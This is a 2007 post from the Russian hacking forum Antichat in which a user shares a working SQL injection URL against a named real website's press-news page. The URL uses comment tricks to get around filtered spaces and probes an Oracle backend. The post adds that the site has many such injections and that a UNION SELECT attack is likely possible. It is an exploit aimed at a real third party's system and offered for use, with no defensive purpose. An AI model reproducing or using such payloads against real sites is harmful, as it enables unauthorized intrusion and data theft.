21.11.2007, 07:12
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
__Т__
НоВ
Код:
http://www.ntv.ru/corp/press/index.jsp?what=News&id=119720/**/and/**/(select/**/1/**/from/**/sys.dual)=1--
фильтруются пробелы, "$" и возможно другие символы
на самом деле инъекций там много, просто привел пример одной из них
может можно провести (почти уверен) инъекцию с помощью union select , но 56 раз null писать мне незахотелось
__________________
Карфаген должен быть разрушен...
Последний раз редактировалось Scipio; 21.11.2007 в 07:37..
|
|
|